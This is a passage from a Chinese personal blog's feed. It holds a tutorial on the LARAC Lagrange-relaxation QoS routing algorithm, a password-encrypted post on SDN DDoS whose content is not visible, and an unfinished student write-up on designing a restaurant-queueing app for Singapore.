QoS</h2><p>原始问题的困难点在于代价和时延没有关系，所以要找到满足时延条件的代价最小的路径，只能把全部路径遍历一遍。是 NP 完全问题。</p><h3 id="构造拉格朗日松弛式及其性质">构造拉格朗日松弛式及其性质</h3><h4 id="Claim-1">Claim 1</h4><p>$$<br>\begin{array}{l}<br>{\text { Claim 1: Let }} \\<br>{\qquad L( \lambda ):=\min \left[ c_{ \lambda }§: p \in P(s, t)\right]- \lambda  \Delta_{\text {delay }}} \\<br>{\leq c -  \lambda \left(p^{* }\right)- \lambda  \Delta_{\text {delay}}} \\<br>{= c\left(p^{* }\right)+ \lambda \left(d\left(p^{* }\right)-\Delta_{\text {delay}}\right) \leq c\left(p^{*}\right)}<br>\end{array}<br>$$</p><p>这个 claim 告诉我们两个事情。<br>第一个事情是（第一行）：<br>$$<br>\begin{aligned}<br>\min _{p \in P^{\prime}(s, t)} \sum_{e \in p} c(e) - \lambda  (\sum_{e \in p} d(e) - \Delta_{delay})\\<br>\Rightarrow L( \lambda ) = c_§ -  \lambda (d§-\Delta_{delay})<br>\end{aligned}<br>$$<br>$L( \lambda )$ 就是之前的 $z_1( \lambda )$.<br>虽然矩阵乘法的意义没有变，但是 $ \lambda  \not= 0$ 时，$c_{ \lambda }§$ 对应的已经不是原本意义下的最小代价或者时延。解释如下：<br>$$<br>L( \lambda ) = c_§ -  \lambda (d§-\Delta_{delay}) =  (c_§ -  \lambda  d§) - \lambda  \Delta_{delay}<br>$$<br>$$<br>\begin{array}{l}{<br>\text { 令 }}<br>(c_§ -  \lambda  d§)=c_{ \lambda }<br>\text{，则}<br>L( \lambda ):=\min \left\{c_{ \lambda }§: p \in P(s, t)\right\}- \lambda  \Delta_{delay}<br>\end{array}<br>$$<br>这意味着拉格朗日松弛式构造的函数 $L( \lambda )$ 中的 $c(p_{ \lambda })$ 对应的边的权重是由原来的代价和时延按照 $ \lambda  : 1$ 混合而成。（其实如果对拉格朗日松弛法熟悉的人早就看透了这一点）。<br>第二个事情（不等号放缩）：<br>通过不等式放缩得到了 $L_{ \lambda }$ 的上界，这成为后面选用 Polyak’ rule 作为步长选取的方案做了铺垫。</p><h4 id="Claim-2">Claim 2</h4><p>$$<br>\begin{array}{l}<br>{\text { Claim 2: } L \text { is a concave piecewise linear function, namely }} \\<br>{\text { the minimum of the linear functions } c§+ \lambda \left(d§-\Delta_{\text {delay}}\right)} \\<br>{\text {for all } p \in P(s, t) .}<br>\end{array}<br>$$</p><p><code>concave piecewise linear function</code>: 凹分段线性函数<br>这个也告诉我们两件事情，一个是作为分段线性函数，寻找 $ \lambda $ 的方法是用次梯度下降法，而非梯度下降法。在没有看这篇文章的时候我曾经选用了梯度法（无法求导）。另一件事情是它是凹函数，所以在用“次梯度下降法”（这里也许可以称为是次梯度上升法），注意是往次梯度上升的方向靠近，不要思维定式地下降。</p><h4 id="Claim-3">Claim 3</h4><p>$$<br>\begin{array}{l}{\text { Claim 3: For any }  \lambda  \geq 0 \text { and } c_{ \lambda } \text { -minimal path } p_{ \lambda }, d\left(p_{ \lambda }\right) \text { is a }} \\ {\text { supgradient of } L \text { in the point }  \lambda  .}\end{array}<br>$$</p><p>这个 claim 告诉我们一个非常非常重要的事情，它直接把一个合适的次梯度告诉我们了：$d(p_{ \lambda })$.<br>有兴趣的可以证明一下。</p><h4 id="Claim-4">Claim 4</h4><p>$$<br>\begin{array}{l}<br>{\text { Claim 4: Whenever }  \lambda &lt; \lambda ^{* }, \text { then } d\left(p_{ \lambda }\right) \geq \Delta_{\text {delay}} and , if } \\<br>{ \lambda &gt; \lambda ^{*}, \text { then } d\left(p_{ \lambda }\right) \leq \Delta_{\text {delay }} \text { for each } c_{ \lambda  \text { -minimal path } p_{ \lambda }}}<br>\end{array}<br>$$</p><p><s>实话是，我在写这篇文章的时候才理解它想表达的意思。</s>（现在都还没有懂）<br>其中$L^{* }:=\max _{ \lambda  \geq 0} L( \lambda ),  \lambda ^*$是使该式子成立的一个参数。<br>既然 $L( \lambda )$ 中的 $c(p_{ \lambda })$ 对应的边的权重是由原来的代价和时延按照 $ \lambda  : 1$ 混合而成，那么我们可以想象得到最优解在，差不多刚刚好满足时延条件下时的最小代价。如果 $ \lambda $ 过小，$c(p_{ \lambda })$ 会因为时延部分给的太少而不够大；如果 $ \lambda $ 过大，拉格朗日乘子和乘数的乘积会很小（负数），所以是一个凹函数。<br>$ \lambda $</p><h4 id="Claim-5">Claim 5</h4><p>$$<br>\begin{array}{l}{\text { Claim } 5: \text { A value }  \lambda  \text { maximizes the function } L( \lambda ) \text { if and only }} \\ {\text { if there are paths } p_{c} \text { and } p_{d} \text { which are both } c_{ \lambda } \text { -minimal and for }} \\ {\text { which } d\left(p_{c}\right) \geq \Delta_{\text {delay}} \text {and } d\left(p_{d}\right) \leq \Delta_{\text {delay}} }\end{array}.<br>$$</p><p>claim 5 告诉我们存在最小解 λ 的充要条件是：最小时延小于限制条件并且最小代价的时延大于等于时延（否则不需要松弛了即有最优解）。<br>最小时延和最小代价可以发生在一条路径上。<br>(这个定理千万千万不要误会不要误会)</p><h4 id="Claim-6">Claim 6</h4><p>$$<br>\begin{array}{l}<br>{\text { Claim } 6: \text { Let } 0 \leq  \lambda_ {1}&lt; \lambda_ {2}, \text { and } p_{ \lambda_ {1}}, p_{ \lambda_ {2}} \in P(s, t)  \lambda_ {1}-} \\ {\text { minimal and }  \lambda_ {2} \text { -minimal paths. Then } c\left(p_{ \lambda_ {1}}\right) \leq c\left(p_{ \lambda_ {2}}\right) \text { and }} \\ {d\left(p_{ \lambda_ {1}}\right) \geq d\left(p_{ \lambda_ {2}}\right)}<br>\end{array}<br>$$</p><p>λ 增加，意味着时延的要求更高。满足条件的最优路径，原本的时延会变小，代价会增大。<br>所以随着 λ 增加，原本路径代价变化，时延小的路径的总体代价逐渐减小，晋升为代价最小路径。</p><h3 id="算法流程">算法流程</h3><p>完事具备，只欠东风:<br>$$<br>\begin{array}{l}<br>{ \text { procedure LARAC( }\left.s, t, c, d, \Delta_{\text {delay }}\right)} \\<br>{p_{c}:=\text { Dijkstra }(s, t, c)} \\<br>{\text { if } d\left(p_{c}\right) \leq \Delta_{delay}\text { then return } p_{c}} \\<br>{\left.p_{d}:=\text { Dijkstra } (s, t, d\right)} \\<br>{\text { if } d\left(p_{d}\right)&gt;\Delta_{\text {delay }}} \\<br>{\text { then return “There is no solution”}}\\<br>{\text { repeat }} \\<br>{ \begin{aligned}<br>\lambda  &amp;:=\frac{c\left(p_{c}\right)-c\left(p_{d}\right)}{d\left(p_{d}\right)-d\left(p_{c}\right)} \\<br>{r:=\text { Dijkstra }(s, t, c_{ \lambda })} \\<br>\text { if } c_{ \lambda }®=c_{ \lambda }\left(p_{d}\right) \text { then return } p_{d}\\<br>\text { else if } d® \leq \Delta_{delay}\text { then } p_{d}:=r \\<br>\text {else} ; p_c := r\\<br>{\text { end repeat }}\\<br>\text { end procedure }<br>\end{aligned}}<br>\end{array}<br>$$<br>where Dijkstra(s,t,c) returns a c-minimal path between the nodes s and t.</p><h3 id="解读">解读</h3><h4 id="特殊情况处理">特殊情况处理</h4><p>根据前面的 claim 5，排除了最小时延大于限制条件的情况。同时如果在在最小代价的情况下已经满足时延条件，那就不必用拉格朗日松弛法，直接输出。</p><h4 id="次梯度下降法">次梯度下降法</h4><p>根据 Claim 2，我们知道 $L( \lambda )$ 是凹分段线性函数；根据 Claim 1，我们知道 $L( \lambda )$ 的上界是任意的一条路径的代价 $c(p^* )$. 在知道上界的情况下，我们自然想到用 Polyak’ rule。<br>步长为：<br>$$<br>{\qquad \alpha_{k} = \frac{ f \left(x^{(k)} \right) - f^{ \star }}{ \left| g^{(k)} \right| _{2}^{2}}}<br>$$<br>从算法流程中我们可以看出来，这里取的路径 $p^*$ 是最小时延路径 $c(p_d)$.</p><p>根据 claim 3，取 $d(p_{ \lambda })$ 作为一个合适的次梯度.<br>// 之后那么 $ \lambda $ 怎么用那个公式反复迭代至今没有推送算出来，但是八九不离十。<br>最终结束的条件是我们在介绍拉格朗日松弛法停止原则的第三条，上界等于下界。这里的上界是最小时延路径 $c(p_d)$，下界是每次 $L( \lambda )$ 的一个可行解。</p><h1>带多约束条件</h1><p>在 邹永贵等:带多约束条件的最优路径选择算法研究 中对Dijksra算法进行了适当的改进, 定义了一个选取规则, 从而使算法接近最优解。<br>先用拉格朗日松弛消去约束, 并求得问题的下界。由于常用的迭代方法效果不好, 提出了一种新的迭代方法。</p><h1>参考材料</h1><h2 id="参考文献">参考文献</h2><p>[1]Juttner, A., Szviatovski, B., Mecs, I., Rajko, Z… Lagrange relaxation based method for the QoS routing problem[P]. INFOCOM 2001. Twentieth Annual Joint Conference of the IEEE Computer and Communications Societies. Proceedings. IEEE,2001.<br>[2]何涛,王锁萍,张明.一种基于拉格朗日松弛法的QoS路由算法[J].电路与系统学报,2010,15(01):37-40.<br>[3]查益,江昊,晏蒲柳,周建国,周小平,徐武平.基于拉格朗日松驰的多约束QoS路由算法[J].计算机应用研究,2005(01):47-49.<br>[4]Winston，W.L.运筹学：数学规划（第3版）[M].北京：清华大学出版社，2004.01<br>[5]黄廷祝,成孝予.线性代数与空间解析几何（第四版）[M].高等教育出版社，2015.09</p><h1>参考网页</h1><ol><li><a href="https://link.zhihu.com/?target=https%3A//youtu.be/v2uHiBH85mk">7分钟带你入门线性代数+微积分</a></li><li><a href="https://blog.csdn.net/qq_39521554/article/details/81877845" target="_blank" rel="noopener">什么是次梯度（次导数）</a></li><li><a href="https://wenku.baidu.com/view/550fe416abea998fcc22bcd126fff705cd175c56.html" target="_blank" rel="noopener">拉格朗日松弛</a></li><li><a href="https://blog.csdn.net/qq_32742009/article/details/81704139" target="_blank" rel="noopener">【机器学习】次梯度（subgradient）方法</a></li><li>subgrad_method_slide - Stanford University</li></ol>]]></content>
    
    <summary type="html">
    
      &lt;h1&gt;概要&lt;/h1&gt;
&lt;p&gt;在做网络应用的时候，往往会涉及到 QoS （Quality of Service）算法。&lt;br&gt;
同时在应用平面，服务质量保证是非常重要的一环。&lt;br&gt;
&lt;img src=&quot;https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/系统架构图.png&quot; width=&quot;700&quot;&gt;&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;
图0
&lt;/p&gt;
&lt;p&gt;学习的障碍主要在于：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;没有系统地学习过运筹学（凸优化）等知识&lt;/li&gt;
&lt;li&gt;论文中往往默认读者有相应的知识储备，对于一些可能比较关键的部分直接跳过。（都靠自己猜想和反推得到）&lt;/li&gt;
&lt;li&gt;论文中有不少纰漏与缺憾。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这篇文章致力于以深入浅出的方式介绍 QoS 算法中的 基于拉格朗日松弛法的多约束 QoS 路由算法。&lt;br&gt;
虽然对于论文中的一些部分没有吃透，但最重要的是通过整个过程，将 QoS 算法中默认读者储备的运筹学的知识展现出来。其中主要包括线性变换关系和次梯度。线性变换关系主要是为了将我们面对的网络路由算法抽象成数学问题，次梯度算法是为了找到最优解。&lt;/p&gt;
    
    </summary>
    
    
      <category term="Web" scheme="https://zer0-nu1l.github.io/categories/Web/"/>
    
      <category term="SDN" scheme="https://zer0-nu1l.github.io/categories/Web/SDN/"/>
    
      <category term="QoS" scheme="https://zer0-nu1l.github.io/categories/Web/SDN/QoS/"/>
    
    
      <category term="QoS" scheme="https://zer0-nu1l.github.io/tags/QoS/"/>
    
      <category term="Lagrange Relaxation" scheme="https://zer0-nu1l.github.io/tags/Lagrange-Relaxation/"/>
    
      <category term="矩阵" scheme="https://zer0-nu1l.github.io/tags/%E7%9F%A9%E9%98%B5/"/>
    
      <category term="次梯度" scheme="https://zer0-nu1l.github.io/tags/%E6%AC%A1%E6%A2%AF%E5%BA%A6/"/>
    
  </entry>
  
  <entry>
    <title>SDN-DDoS Question &amp; Consult</title>
    <link href="https://zer0-nu1l.github.io/2019/12/08/SDN-DDoS/"/>
    <id>https://zer0-nu1l.github.io/2019/12/08/SDN-DDoS/</id>
    <published>2019-12-08T08:18:26.000Z</published>
    <updated>2020-12-18T14:15:38.919Z</updated>
    
    <content type="html"><![CDATA[<div id="hexo-blog-encrypt" data-wpm="Oh, this is an invalid password. Check and try again, please." data-whm="OOPS, these decrypted content may changed, but you can still have a look.">  <div class="hbe-input-container">  <input type="password" id="hbePass" placeholder="" />    <label for="hbePass">输入密码，查看文章</label>    <div class="bottom-line"></div>  </div>  <script id="hbeData" type="hbeData" data-hmacdigest="e38d6cce5cc211c37bb3ee39cf8cc0750506a06cdb943ef5eb10dd13bb60fe24">c54ef91cce081c6f61e5353cd8bb7033a3a4a4b1fe8abe1b1454f387adbd37348102c6722f4de38abc5e5e7d11e33fb607922e0136851a98202d2c2b9a9b8a4ae5c7908e0d2ec37060e38f7f1217d5781d9f66f930a254506f89c0f90a17be7355fcf26b1e8c3609d466f7df9a2969c9d58a0c3380e6d3e8f87b9ab586c999d4880bd42265233c6cd8b2a026ab3781e30f807c895d127e9b393a71022ac14285953ef63e9348dd40f36d88037e6c2c1b4862924b06f35195f1b51a3333d6e1c318404e0f6a5cd03135e6670161381323c586d2bc95f98afab5350fcaac50ba1d28016418ec73854a93c9a7b43efad3fa49f27aef618045463187c6cfa6e5fbd216b104cccfbc70be79d441c6a30b686c77d4acc3277520686733121015b7a7d429c55004a668dde07877d6676594439fc0feaa056b824d3e9df8708d9e598c8171b72a7d583731487787f192d3e2813be84291edee4e40b939a3deca89df3e6c43e43467d11750e6be778426bd899efce463b6660acba0f23f4567ef5640f3e41acdf17b11fdd72690a36153955ddc7369dc9b119186315ade21e07c9a63dc905e02247821f94e7d394460c3ec13ccfe1a191d13bc72925bc810dccbe3ee6da4a47616127a1b76d0b9ac9893203a47262424cc8a505a796edf640611141d82f22208e6533c28b7bef743ab0b33d93ed6f1b250189961623f73b1658c267c945bf516c339d4fb6576e6da22bf5a66cf4f1b2d11def69cd85376ccef41b6c34b2a27f493f4ad96a3c181c2fb214def70847082241e7b29dd146b88a262388ffa8199092053ecabab51abe6a2d2cfdc893e6221970f4bad1717d1dae9350ea8f001ee90196264136e76dcbe5213d0d0727ddf47407381f0a4f2c1b52650802db59ad035cb3e9648f8350ff4a87bb797f7900f50119380f7822c565b5cbbac799a4a542d917a1cfbf48d84bca3a08e6ff2743248ff8d912896dd343af396a69d8e79ad7bb077869c8a1393ae3252c9661a32f8c8fa037980d87ba7db5ee8ce3a100997f30e5ccc6ab1967813c796ec0a9b7200595f8c246618f3c4fdfb87a3ef9cad7876ed868c1d68f782d81fe528a2653b418ffef8c506899c30ea3237d6663916aee2286a890cda36961c55815c767a6363bd3bcee95d0fc459eb2f1beb91cbfd4834ef97b9c431c6adb1c7fe97342437ffa682e9cab94a01ad6edc3ad468be05c4cea411efe322a66a348cd38cff212ad4b38d5f71e83b52ea9ab72a3650d2e2cc232a381cd97c628540db83e4de2e98585772169f634838c3e549907e075341ebed5f46214396fa9a7e9130ece3080d91d7edd4bedc513ecdb980901df53198029c55fd060727b90206148e84ecd518a36f6aaefc0b168dbecbc4b86aa8c4d24459b1f30256698613e17e89d970b33d4d2af1a4bcf6c5823e72f610a38f787d986f7163a58110839a1e552b8d541f9202ddd0cf41df5e9f1fb35bc6f9e7f543c5b2b65e0534e3a33e73edbb9092b5fcf46f042368cc2ae0ce9b3b74e2f75c0be45c928929e8f370ab512f5d2dbd752aec1c18365079a5bb428c67552c83d3570b96e66764bce1f15464c55ab1daa02e8a62471785a7e71a085915bc72ff2bc68d7632f332f0427e31e9c090793b25794f30d574c773ad1e99533e2cef8a3f35f480db9263a8022887d1771ccc86e893a928b6b98535fe3b0d9ff89d55f460bfe08fb4f66de34d531d93f6c5b1254ba414a125a8485af39149376720357a4576141cbf3c7f9fc6b103ef9d236b9e8f94d199595cfaae25f0f725ea9dfba66e7e8c0fd2aaa137dec90764fd79a05da1a326cf43350c11ed594da672d4c701f7adc05d7520d8e04ba0a4782b2cef84539e4850ba412da45eb838843bab10e5d7e810b11637d21cdb81d50f07ca6d8fe052dcf38a5cc216275c5c0395fbab9d4a82c52405114235f8d2a51a6cbcd782e9a12e67070c522177ab1a04a0f52700c75034cc63804427109734c8c51c926a1088bb9f01ee2e0f8c7cf465ab2cf36133e98a26564c48b77fb47d509fc5b8683e8d47f1a7afcead8df8972293ae1b41f3bedbf7ce3ee60a731b07f1b20b1d0956b5774aba0b81e44e6c4d619538f44ff30db682bcc003eb123aff8053fc30523f8fb5d377f6971a9c203b510ec19710520ed94438c9b0e1d3e277e9a6f8ee1ddbb4e675a3857b617509c29aff938832096c5b349344f8284e5f1ff7dfd70112ca861b44088b9dec868bd1206afc789c351386cabaa27e83644eddc637a4df5dc2e4f1a6d6109c18cc7cd5dd78c26a137e0f5805ac987b6570b0593e1f1e7f658a6b64656d4652f103cc82396038b8e6678a3b5b12f80d7ac93031f1875ede76c4877deb3bc6e8301579b11fd8f9eccad429bd312c6456b29cfa14b7ab038bef95da4c6110c2ec0837c32dd0b227c53ed14d82df0d27711954597e6e4446cd5bffac45784cbf70ef6c6944e157d4d261b40cb9c279c56621695ea97ffef656c4e4bb028f3e42fcfdf2609ecd6c889de7098ac52d169b630d8a9e2a493e434d42ba7c5a8326a6ae71e02c390fa309359b44e40e357063a64c30dcfee9a5f09dec896125c11fc3a65d64115b4452a4214ddf4f49d568667ea15de54adbacc17939fa9f49cc83c39a19da0034378a667095da604803d59efa2914b1331d55d14df4a6162fd057884b55b800d3dd2eb968e0880f602a94c77ed5e90df573acf1e4ce9f1da6d813703205101735d0df75196f7246e630818f1e59d0655a24f3700976a71c1b708dec75cd36df4a74444887282c8774712ec867c0b691f0b10b160e6a6febe61b9111cb0d56d1ad14b7049caa24ddf255501640d3e6c4a78ab02159ba86f79297ad302bffb061c0fe257fb8adf1d3fe7029723fb1e97419b5f3116d040dc1ea624199a6ecfb3b7e66ce3e2aa5778f8a873b9627e2db6accc348c0b9b31e6bb9135b598ffc70c739906546102d8bcdae01fe36b6cde075327e5876c577bf0dbdc41207cf27d263650551d7edcf28f83809a17dc06459511a17b3de5a7862096bf96a47c4a309be07dc1698e60eeb665735c2f2397401078f000aaa26696d2e8142c6cdff1bf3539a9ac241696c0c3e6d73302a925a0deebda3f646c5dd69b930071d661543501cc2453c3b174d96d12e6e78a8c07b86786fab684feef526fe4d4c8dc423de684e5637a264cfad17c1896adf8739d4f0e154db47468b527fed83b9ff82899f222c3481a87634c11da74b9df7a611a41e8323eb2efad818ed70b7167d0c0f44255f74a430e85eecd85bbe6b268d4582e40d7397b2c1140f83b8bf1bba7e784627e79c61f60c9b9cbdd1af888bafebd0a85ae8cfd7a3904d39c5bf0737cfd558970523b640cefbfd71e740f7545b11a9a74bb8671b5e9c79ef349356d3e0d9e1e2ab9f529ff34198cd843cff7eef13e13485ba16194f0504e9206852ab4417c3ec5c31ff7a3670237adf17b549e2e2e3b553a395db681ed2f18d31244fb6363ef0762a9197d402d9d320121600ab86c077314ce2be39e3588afd36716fdcc83e081663a42ee0c20c617e8a37edffd1acfb9ff7a931bc6fa8e28d8b8ceace0d991b33d731514d5c2200aabb7c0559e6d52dac8433d2619b7fcbe8b38aaf9c284de222b05beb2c90d70f66f28fb62b7dda6d42b9744fa40c8abe6d332c2edc4bb0d80119f188e8b280a76e1ede5bbc1f83091e8ec8ae003ec4597760527bd581b613c9c1f2897d506ced0581deab8bb7e5f6d94718cacb174a85a991863acebfb78b6405d49ad9efaed64285331e76abfe85a246655ceb330ae4810427798719440fc0b5bf03c3a1702849e259ae01766097f0fc6fa48398ace526a055efd48f21c8bd9ea9a966c27ead6f8f5b513ca32269df8539468fbfb715540e2eb43c70f4d51477a2faf10f4703cd9e895fb88c3c6d277beef288d497722e158ccdc48e1b8fa247fc66d75ddb025cdd1f666841c65ca57694c5c5da918b7e52bbb798c494a48d89e6d5fab894f5c9a86c614be35620e41012fcc72248dc69cdce2f7507762cd68cc86efa816862b830498ed750a8e2b6fc3b568af222e062f04c9fcf57faf1c20574565f8d9fe51ff44e455746e14f79c95dc42d5285217938c2ec919cf4e9664a1d934eeb3f38cbba275af1663751f2aa59557792a53748ce485b9b39da8581923860367378d92962c9ddd7581c676f0b33111688dc9cb4d0e9b750a3aa0a2c850a7c40a15958b1d65f333082146e4fd680a84ea1d916080766dda4e8d77ff12cbfee4904019f0b88ee4c4c767a7a04a4853cd71f4253852f7bc3293dbb605109eecf094287fcf6b8574d0243c3ede21568c93df4b50f9ba735193368147f369d0a1a2213d0b19c23b03407cf9ec458d4b5a700156b8c6036e5c6642d3a9fc803de78fb51ac9f66d278ce99c305f10f2e416927283abbc211517f1ca395901c2b7864a5ddbaa1cb200b16a96a22a2a06a21bcc41b5bd94d84151fed1364d5daab4de0a011a483f850506c1ed9b6e0f5aa1acbba6d533685809a8f72e3415c474e279e5b12c6236c8cfbfe11659280d4efc2c5446522daf6297d454add658db69bb33f751107824be7724e8d0a2c01ea3294023fe57743d9cfda619d941c1a75f8000a97d9ebbdf6671e431fd1376c0e80c0ca0dbaaaca65c7aa0d22bd53516e829d22a5d5cbfd52f71029dbfe302ccad234a7f545ae96e7180360dfdd899d24182f33eedbd00920976e26b473994f6e3e9dffc5eba90ecdc789b0513de44d8893e1895a8fe1e0ad81e9a4cd837acec05ceb6ed5f23233ded588340fa380ec278131f2734dcc6466e596d6e84213a8561ff99f63337663f6d7c5d2dfc8d63c14d1f293854a28892af9c0fe0a68a4e32aac35af03eada17d0f4be498f141d807b13f57f62fa88e279ee0cb5f7e33d2ddfc8b161bde0c835ad65e19dc7663303b63b413b1942821afaf661730fc15a35f57072f6d1dbb71bf15967e00e29bf973cae6dab96a7de8858b0c45c46737fdb0327ed688d9dcca8ef2bf529b1bf1fd3038a00cade8529ad40d51a104b963a1481b5f00ef8058a0dc2aa4cb919e7ad1635e47e2466343a74a786ccb8d460c5a0396d5f5a3edb77de639525af7b14bbe19c3f4f37678f96d8c27b3074702f63a133e6cc9db1a612ff12f628179107dede2c75e797ca1f6c2b9964f029f8d21852ce96ae1850b4780018e73f434670d6696e4d70a421a7c56b209ec0bcc24c5f0b8a740ba6f5f62d606a3a665d03796c5d0627255beaecceff591c0e07029aa6d610bf8c90c5caa903b3b2c2468ac6838ea2928b0ca1287e08d184c93cc73cf48d5bb8f41a0dbcae8902a1227ded1e185bfaa2c8f7fd95558f3c7019a1a6be4ec4e8ef1301065e9b8bf57c4c5f8f0a96a0a50d9caa3d0c23272123a217642457ca5959d7559f11dc71ba93f729e1965fe504ce4e6bec682bca01ebd94758af9b98ded0483179b9668c4f9063cc0974c04ea871907d8ef684104dfa3fd58ca403b71aad0c6cd518c25e86f9b60405f16c277ca7e814bf36b36474b74840291f9115bd7e19ea1b98bab4d80b694c6d04a6268e9534594d7ef455c6516581f8345a2810d9f516aefe86bf02a57410536566afc5769df4dfc48335df3ac359d423b7b82e6b4fc26c674be3fca80aedd22ee0348de5f6eebe42485ac37945a7746a75ef75b10e08f57646575929a327d5747cc2455e0076656725194b0da2e79ce024d48acc1760bfb9343033d2ae121f54b48ce39d6b79a59f689f239b31833e575274b90ceb2065a021656d701f59f28cbf361d37df6264f7aebd2b</script></div><script src="/lib/blog-encrypt.js"></script><link href="/css/blog-encrypt.css" rel="stylesheet" type="text/css">]]></content>
    
    <summary type="html">
    
      由于某些原因，文章加密，邮箱联系，或在评论区交流。
    
    </summary>
    
    
      <category term="Web" scheme="https://zer0-nu1l.github.io/categories/Web/"/>
    
      <category term="SDN" scheme="https://zer0-nu1l.github.io/categories/Web/SDN/"/>
    
      <category term="DDoS" scheme="https://zer0-nu1l.github.io/categories/Web/SDN/DDoS/"/>
    
    
      <category term="DDoS" scheme="https://zer0-nu1l.github.io/tags/DDoS/"/>
    
  </entry>
  
  <entry>
    <title>【NUS】基于互联网思维缓解新加坡的排队现象</title>
    <link href="https://zer0-nu1l.github.io/2019/11/18/Joyeat/"/>
    <id>https://zer0-nu1l.github.io/2019/11/18/Joyeat/</id>
    <published>2019-11-18T13:47:00.000Z</published>
    <updated>2020-12-18T13:53:57.893Z</updated>
    
    <content type="html"><![CDATA[<img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/Joyeat-Cover.png" width="800" align="middle"><h1>问题的提出</h1><blockquote><p>我们不要一味适应环境，以批判性眼光看世界，这样才能发现问题，才能改变世界</p></blockquote><h2 id="发现需求">发现需求</h2><p>新加坡是世界上排队现象十分严重的国家。且新加坡餐饮业发达，在外用餐的人口比例极高（这源于新加坡快节奏的生活和餐饮的低成本）。<br>但是让我很震惊的是，在这么一个科技发达、人才辈出、人均收入极高的国家，却没有人来解决这个问题。</p><a id="more"></a><p>我们对此需求通过调查问卷的形式进行了验证：</p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/调查问卷总述.png" width="400" align="middle"><p align="center">图：调查问卷总述</p>忽略一些文化因素。排队造成大量的时间浪费，而这些浪费的时间本可以有更灵活的安排，无论是去其他摊点逛逛，还是找个座位舒适的坐下，都能让人们更加“省时、爽”，拓宽了选择的权利，这也正是创新的目标。虽然这样顶天的理想很好，但是脚踏实地地去解决却不是一件容易的事情。<hr><h1>初步的解决方案</h1><h2 id="主逻辑">主逻辑</h2><p>作为软件学院的学生，我们企图设计用于排队的 app，通过餐馆的线上排队的方式来解决问题。<br>主逻辑是：借助互联网在 app 上进行选定餐馆\选择排队。</p><h2 id="思路一">思路一</h2><p>一种思路是：线上和线下会形成两个队伍，这是因为线下排队是根据人在队伍中的位置决定次序，而线上是根据进行排队操作的系统时间，两个排队的次序形式不相容。<br>这样会导致的最大的问题是：线上和线下排队的不公平：<br>线上选择排队的时候，同一时间线下已经存在的队列序号可能会滞后于线上排队，造成不公平。<br>比如用户 A 在线下排队的时候前面有 10 个人，他选择了线下排队；用户 B 比 用户 A 晚来了十分钟，他选择了线上排队，而假设此时线上排队的人数只有 3 个人，用户 B 在比用户 A 晚到餐馆的情况下依然比用户 A 提早享受到了服务，这对于像用户 A 这样习惯于线下排队的用户显然是不公平的。<br>如果实体餐馆没有额外负责线上排队的服务的话，显然对线下原有排队的用户是不公平的。并且，不是所有餐馆都具备再额外安排负责线上排队服务的员工的经营能力。</p><h2 id="思路二">思路二</h2><p>另一种思路是由商家自己根据线下的队伍和线上排队的情况自己进行排序。<br>传闻美团外卖是这样的模式，需要主观判断。但是他们外卖行业和我们性质不同，差别我们的线上和线下的排队差异会暴露给用户。而采用这个思路的核心是通过商家和主观判断（或者需要我们设计算法）来尽可能减小思路一可能导致的不公平。</p><p>但它会导致的另外两个问题是：</p><ol><li>线上排队用户可能不在现场，不能及时到达，也无法凭借队伍的长度预估时间。<br>毕竟线上排队提供了不在当场就能进行排队的便利，但带来不能保证及时到达，而耽误商家以及其他用户的资源。</li><li>线上排队用户不能及时到达，它的排队号变化的问题。<br>如果线上排队用户未能及时到达，需要对它的排号进行后移等处理。</li></ol><h2 id="提出的初步解决方案">提出的初步解决方案</h2><h3 id="动画介绍">动画介绍</h3><p align="center"><video width="480" height="320" controls><source src="./动画forPPT.mp4"></video></p><!-- 需要注意的是：排队的号码不是真实存在的，是商家自己判断的。（这也给商家制造了不少难度） --><h3 id="对线下和线上排队冲突问题的解决方案">对线下和线上排队冲突问题的解决方案</h3><p>为了解决线下和线上排队冲突问题和线上排队用户不能预估时间<br>根据概率论的知识，排队遵循泊松分布，通过这个原理尝试解决线下和线上排队冲突问题。<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/泊松分布.png" width="400"></p><p align="center">图：泊松分布</p><p>我们可以通过此规律根据现在排队的人数预估线上排队（多个人）需要等待的时间。为此我们提出了一些算法（由于被新方案抛弃，这里不展开讲）用以辅助 思路二 中商家对线上和线下的冲突处理以及供线上用户参考的预计的排队时间。</p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/线上线下冲突问题.png" width="800"><p align="center">问题初步解决思路</p><blockquote><p>事已至此，我们研究的新加坡排队现象基本大大缓解。但是我们当然对此并不满意，它的可靠性太低了，太依赖主观的判断。存在诸多的缺陷。</p></blockquote><h1>问题深究与改进</h1><h2 id="改进思路-重新定位产品">改进思路 - 重新定位产品</h2><p>我们最大的问题是一开始就想要解决一个非常大的问题（顶天立地），对于情景既没有做任何限制，也没有考虑一些边界情况。这虽然是创新的一个好的苗头，但是创新还是要回归现实的复杂情况，脚踏实地地去做，不要企图一下子解决多个问题。那么遇到太多难题而一筹莫展的时候怎么办？<br>下面是我的“改进思路”的思路：<br>由于解决问题的时候四处碰壁，也被很多现实的其他情况问住而无法提出好的解决方案，所以我们其实最需要的是重新思考自己的命题：我们到底要解决什么问题？<br>新加坡的排队排队现象的缓解。再具体？自顶向下地细化问题、分解问题。<br>我们不妨缩小考虑问题的范围，先着重考虑一些核心的小的问题。再考虑更加广义的问题，如果更加广义的问题也能够在我们的体系下解决，那我们就基础此合理拓展，到那时如果不能，再去拓展，一定不能破坏原来的体系。而破坏了，那就失去创新的本心了。</p><h2 id="原先的问题的细化和分解">原先的问题的细化和分解</h2><ol><li>排队现象中蕴含的需求。<br>一个是选择要不要去，辅助用户选择；一个是排队；<br>区分排队和预定，预定在大餐馆、酒店中已经非常成熟。</li><li>场景进一步限定。<br>新加坡美食广场、小吃街类似的快餐类餐厅，这类餐厅的排队现象严重且受众广泛，而大餐馆、酒店往往是预定机制。有特殊餐饮文化的我们也不应该介入。高档餐厅不追求效率，很多时候的消费点在于舒适体验、服务质量、餐饮文化。</li><li>违约问题。<br>预定有对应的违约金，但是线上排队只是占用线上的名额，没有排到即延后或者丢弃，对双方都没有损失，故不需要考虑。</li></ol><h2 